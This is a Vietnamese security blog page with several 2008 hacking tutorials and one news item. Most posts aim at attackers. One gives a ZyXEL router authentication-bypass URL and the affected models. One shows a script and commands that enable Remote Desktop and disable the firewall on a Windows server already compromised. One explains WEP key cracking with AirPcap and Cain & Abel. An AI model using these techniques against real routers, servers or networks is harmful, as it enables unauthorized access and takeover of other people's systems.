- Tèn ten ten ten, đăng nhập được vào Server với quyền Administrator luôn rồi. Chiến này Tư Nòng Nọc khổ dài dài rồi.

picture024

Hihi, vậy là Tư Nòng Nọc hết dám khoe khoang lộn chỗ rồi phải không các bạn. Và các bạn cũng đã thấy cái hại của việc không cập nhật bản vá lỗi thường xuyên rồi đấy nhé, sau này các bạn nhớ update windows thường xuyên nha.

----------------

Bugs lỗi trên ADSL Zyxel

Hầu hết các khách hàng sử dụng Internet của FPT Telecom thường được tặng Router ADSL Zyxel. Nhưng trên Router ADSL Zyxel vẫn còn một bugs lỗi khá lâu vẫn còn tác dụng khai thác. Bugs có thể Bypass authentication reset modem và upload firmware khác.

Truy cập vào Router với đường dẫn: http://x.x.x.x/rpFWUpload.html (phân biệt hoa thường)

Bypass ZyXEL

Loại Router có thể khai thác:

- ZyXEL Prestige 600
- ZyXEL Prestige 645R-A1
- ZyXEL Prestige 650H
- ZyXEL Prestige 650HW
- ZyXEL Prestige 650HW-31
- ZyXEL Prestige 650R
- ZyXEL ZyNOS IS.3, IS.5, V3.40(ES.5), 3.40

---------

* Trong ví dụ này tôi sử dụng ADSL Router ZyXEL Prestige 600

BẬT TÍNH NĂNG REMOTE DESKTOP TỪ XA

Khi tấn công vào 1 server, bằng 1 cách nào đó bạn đã telnet được vào server với quyền administrator, với quyền Administrator qua telnet bạn đã có toàn quyền quản lý server từ dòng lệnh tuy nhiên bạn vẫn muốn quản lý qua giao diện, vì thế ta phải bật tính năng remote desktop lên.

Trong ví dụ này Hiếu sử dụng Server là Windows Server 2003 đã nâng cấp thành Domain Controller, máy Attacker sử dụng Backtrack3

B1. Trên Server kiểm tra remote desktop chưa bật.

picture001

B2. Trên máy Attacker, telnet vào Server

picture002

B3. Chuẩn bị sẵn file VBscript để enable Remote Desktop

picture003

Nội dung file VBScript remote.vbs

machine = "."
cimv2_string = "WINMGMTS:" & "\\" & machine & "\root\cimv2"
query = "select * from Win32_TerminalServiceSetting"
value_to_set = 1 ' 0=off, 1=on


set cimv2 = GetObject( cimv2_string )
set items = cimv2.ExecQuery( query )

for each item in items

item.SetAllowTSConnections( value_to_set )

next

B4. Dùng lệnh "copy con" để tạo tiệp tin remote.vbs trên Server. Dán nội dung file remote.vbs đã chuẩn bị sẵn và save lại.

picture004

B5. Dùng lệnh dir kiểm tra

picture005

B6. Chạy file remote.vbs để bật remote desktop.

picture006

B7. Dùng lệnh "netstat -an" kiểm tra port 3389 đã được lắng nghe. (3389 là port Remote desktop)

picture007

B8. Trên Server kiểm tra tính năng Remote Desktop đã được bật

picture008

B9. Tắt firewall của Server

Sử dụng lệnh : Netsh firewall set opmode disable

picture009

B10. Từ máy attacker, chạy remote desktop client để kết nối với Server.

Sử dụng lệnh rdesktop [hostname]

picture010

B11. Nhập username/password của Administrator

picture011

B12. Truy cập thành công với quyền Administrators

picture012

Have a nice day smile_wink
daoduyhieu.spaces.live.com

Thứ Năm, 11 tháng 12, 2008

2009: Những nguy cơ an ninh mạng



Cuộc đấu tranh sống còn giữa hacker "mũ trắng" và "mũ đen" dường như chưa bao giờ có điểm dừng. Hãng bảo mật Symantec đưa ra những cảnh báo cho năm 2009.

1. Bùng nổ của các biến thể malware

Những cuộc tấn công gần đây bao gồm những kiểu malware (phần mềm độc hại) mới có chứa hàng triệu những mối đe doạ khác nhau được lây truyền như một dòng malware duy nhất có chung nhân. Điều này tạo ra vô số những biến thể khác biệt.

Theo dữ liệu thu được từ Mạng Global Intelligence Network, ngày càng có nhiều những biến thể độc hại hơn là những phần mềm gốc.

2. Gia tăng những mối đe doạ trên Web

Các dịch vụ Web ngày càng phát triển và các trình duyệt tiếp tục xu hướng hội tụ trên một chuẩn dịch ngôn ngữ lệnh đồng nhất. Điều đó có nghĩa các mối đe doạ bảo mật trên nền Web sẽ tiếp tục gia tăng.

3. Khủng hoảng kinh tế

Khủng hoảng kinh tế toàn cầu sẽ góp phần gia tăng các cuộc tấn công mới như lừa đảo (làm những nội dung giả tạo xung quanh việc đóng cửa một ngân hàng nào đó)... Theo dự đoán của Symantec, chúng sẽ nhắm tới những người bị xiết nợ nhà cửa, tăng cường trò giả tạo về tạo công ăn việc làm tại gia cho những người thất nghiệp, và những thư rác giả lập đến từ các website tìm kiếm việc làm sẽ gia tăng.

4. Các mạng xã hội


Năm 2008, những kẻ phát tán thư rác trong khu vực Châu Âu, Trung Đông và Châu Phi đã phát triển các mạng xã hội một cách mạnh mẽ - có một trường hợp đã tiếp cận với hơn 2 triệu người. Nhờ phương thức này, chúng lừa đảo lấy thông tin tài khoản người dùng và/hoặc sử dụng bối cảnh xã hội như là một phương thức để tăng cường "tỷ lệ thành công" của chúng trên internet.

Những mối đe doạ này sẽ ngày càng trở nên nguy hiểm đối với các tổ chức CNTT do những nhân viên mới vào làm thường tiếp cận những công cụ này để sử dụng tài nguyên của tập đoàn.

5. Thư rác tăng


Theo Symantec, năm 2009, mức độ thư rác sẽ tăng trở lại từ 75-80%. Bởi, trong môi trường kinh tế thay đổi hỗn loạn như hiện nay, có thể có cty lưu trữ khác trên thế giới sẵn sàng làm cho hoạt động phát tán thư rác trở nên dễ dàng.

Thu Trang

Thứ Tư, 26 tháng 11, 2008

Crack Wifi trong 10 phút

Crack Wireless WEP key

Platform:

Windows

Compose:

NIS

File type:

.Pdf

File size:

Date:

2008

Category:

Hacking

Downloads:

1096

Việc các attacker có thể xâm nhập vào các mạng wifi của tổ chức, thông qua việc crack khóa mã hóa truy cập vào wifi access point. Cho dù các công nghệ mã hóa mạng không dây hiện nay là rất mạnh như Wired Equivalent Privacy (WEP) và Wi-Fi Protected Access (WPA và WPA-2)...

Nhưng với những chương trình và thiết bị chuyên dụng, attacker có thể thực hiện thành công ý định của mình. Dưới đây là một trong những demo sử dụng AirPcap (USB 2.0 Wireless Capture Adapter – card bắt tín hiệu wifi) và chương trình Cain & Abel, một công cụ chuyên dụng để bắt gói trên mạng kể Wired hay wireless, sau đó tiến hành crack password, với nhiều phương thức khác nhau. Tất cả các setup được tiến hành trên Windows.

Chuẩn bị:

1. Card AirPcap Tx

AirPcap là một trong những thiệt bị chuyên dùng để bắt và phân tích các tín hiệu của mạng không dây (của hãng Cace Technologies) theo các chuẩn hiện nay WLAN (802.11b/g). Thông thường Cace cung cấp bộ công cụ tích hợp bao gồm card AirPcap, và tool bắt gói tin như Wireshark (tênmới của công cụ Ethereal nổi tiếng).

Thông qua card AirPcap (dò và bắt tín hiệu wifi, sóng radio) Wireshark tiến hành phân tích các thông tin thu thập được về wifi Protocols và các tín hiệu radio.

Trong demo này, không sử dụng Wireshark, việc thu thập, phân tích và giải mã các khóa mã hóa, thu được từ tín hiệu wifi, tiến hành thông qua một tool khác cũng cực mạnh là: Cain and Abel

Tiến hành cài Airpcap drivers kèm theo CD, sau khi setup driver xong, gắn Airpcap adapter vào USB slot.

Chú ý: Tín hiệu thu phát của Wireless card hoặc Airpcap bao giờ cũng yếu hơn Access point. Đặt laptop gắn Airpcap, càng gần khu vực Wifi Access point phát sóng bao nhiêu, tín hiệu gửi và nhận với Access point càng “rõ nét”...

2. Chương trình Cain and Abel

Có lẽ người dùng UNIX rất buồn vì một công cụ mạnh và miễn phí như Cain and Abel lại chỉ chạy trên nền Windows. Một công cụ chuyên bắt gói tin và crack các password đã mã hóa. Sử dụng các phương thức tấn công khá phổ biến để crack pass, bao gồm: Dictionary attack, Brute-Force và Cryptanalysis…

Download Cain & Abel 4.9.10 tại Softpedia

Một Wifi Access point đã được phát hiện kèm theo MAC add và SSID của nó

Lưu ý:

Trước khi tiến hành bơm vào thông số ARP giả mạo (ARP injections/ARP spoofing), AirPcap sẽ phải tiến hành bắt được ít nhất một ARP request (để tìm MAC address thật) của bất kì wireless Client nào đang connect vào access point (wireless card của attacker hoặc các Clients hợp pháp khác..) đang kết nối với Wifi access point. Sau khi bắt ARP request, Cain & Abel sẽ tiến hành gửi một ARP request giả mạo (với MAC address vừa có được), và thiết lập duy trì với Wifi Access point trong suốt quá trình Access Point “nhả” IVs packets. Nếu vì bất kì lí do nào đó MAC address của Client không duy trì kết nối với Access point, thì Access Point sẽ gửi một thông điệp từ chối “DeAuthentication” và các gói IVs sẽ không được tiếp tục cung cấp.

Phải đảm bảo thu thập được trên 250,000 IVs (Initialization Vectors, số lượng các packet đồng bộ giữa AirPcap/Clients và wifi access point, thì Cain and Abel mới có thể tiến hành crack WEP key. Thông thường, không một ai đủ kiên nhẫn ngồi chờ IVs được kích hoạt đủ số lượng, cho nên hầu hết các Wep Crack tool hiện nay (Cain & Abel, Aircrack-ng, Aircrack-PTW, đều áp dụng kĩ thuật Packet Injection (hoặc deauth & ARP re-injection, thông qua các ARP request). Injection tác động làm Wifi Access Point, phải gửi lại các packet đã được lựa chọn, một cách nhanh hơn, khiến trong thời gian ngắn đã có đủ số lượng IVs cần thiết.

Với kĩ thuật deauth & ARP re-injection, công cụ Aircrack-PTW, chỉ cần khoảng 85.000 packets đã có thể giải mã được Web key 128 bits, tỉ lệ thành công trên 95%. (đây là tool của trung tâm nghiên cứu mã hóa và máy tính của ĐH Kĩ Thuật DarmStadt Đức- www.darmstadt.de).

Aircrack-PTW, chỉ cần khoảng 85.000 IVs để giải mã WEP 128 bits

Nếu không dùng Packet Injection, số lượng packet phải thu thập được trước khi crack Wep Key, khoảng 500.000 để giải mã Wep key 64 bits và có thể lên đến 2.000.000 cho giải mã Wep key 128 bits. Chắc chắn rằng, thời gian chờ đủ IVs, cho đến khi có thể tiến hành crack Wep key, là..mệt mỏi !

Nếu phân tích về lý thuyết thì rất nhiều thứ còn phải đề cập, vì bạn phải hiểu về cấu trúc TCP/IP, Networking, Raw Socket, Packet header Injection, các chuẩn mã hóa Wireless như WEP hay WPA, WPA-2… Nếu cần phải hiểu rõ quy trình Sniff & crack wep-key, thì bạn nên dùng một công cụ, sử dụng command để đi từ đầu đến cuối, ví dụ như Aircrack-ng hoặc Aircrack-PTW, như đã giới thiệu ở trên.

Ở các công cụ này, việc dò tìm được tiến hành từng bước:

- Detect Access point (tìm được MAC address Access point, SSID name..)

- Send MAC address giả mạo, để tạo và duy trì kết nối với Access point (fake MAC)

- Thu thập Wep IVs packets, càng nhiều càng tốt (Wep 128 bits, phải trên 250.000 packets)

- Và cuối cùng là chạy chương trình để crack capture file, tìm wep key.

Nhưng tóm lại, với Aircap adapter đã setup kèm theo Driver và Cain & Abel, thì bạn mất không quá 10’ để crack Wep key (128 bits).

Công việc chính của bạn, là chỉ nhìn vào giao diện đang vận hành của Cain & Abel, theo dõi số lượng Unique WEP IVs packets, đạt ngưỡng trên 250.000 packets. Sau đó đó nhấn nút giải mã với Korek’s Wep hay PTW attack.

Attack tìm wep key với Korek’s

Video crack Wep Key với Airpcap và Cain & Abel

Trọng Nguyên

Bài đăng phổ biến